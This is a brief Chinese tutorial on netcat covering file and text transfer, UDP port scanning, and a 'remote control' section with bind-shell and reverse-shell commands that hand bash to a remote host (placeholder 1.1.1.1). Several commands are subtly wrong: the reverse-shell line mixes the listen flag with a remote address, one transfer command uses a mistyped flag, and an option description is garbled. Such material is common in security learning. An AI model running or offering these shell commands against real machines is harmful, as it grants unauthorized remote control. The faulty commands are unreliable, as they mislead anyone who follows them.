Netcat(Linux下NC命令)主要用途:
1.扫描制定ip端口情况。
2.端口监听,端口转发。
3.提交自定义数据包。
4.远程控制。
1.netcat 传输文本信息
kali pc1: 作为服务端,先打开端口,例如333号端口,代码如下:
nc -lp 333
kali pc2:作为客户端,打开对应端口,并连接对方IP地址:
nc -nv (server ip) 333
2.netcat 传输文件
pc1:作为服务机,先打开端口,例如333号,然后将文件重定向:
nc -l -p 333 > lsof.txt
pc2:作为客户机,将传输过来的文件写入:
lsof | nc -nc 192.168.170.131 333 -q 1.
3.端口扫描
nc -vnzu (ip address) 端口号
4.远程控制(重点)(控制为双向的)
正向:
A:
nc -lp 333 -c bash
相当于打开 333号端口
B:
nc 1.1.1.1 333
相当于连接333号端口,此时B控制A。
反向:
A:
nc -lp 333
B:
nc -lp 1.1.1.1 333 -c bash
主要参数:
options:
-d 无命令行界面,使用后台模式
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连)
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 打开本地端口
-r 随机本地和远程的端口
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v 显示详细信息 [使用=vv获取更详细的信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。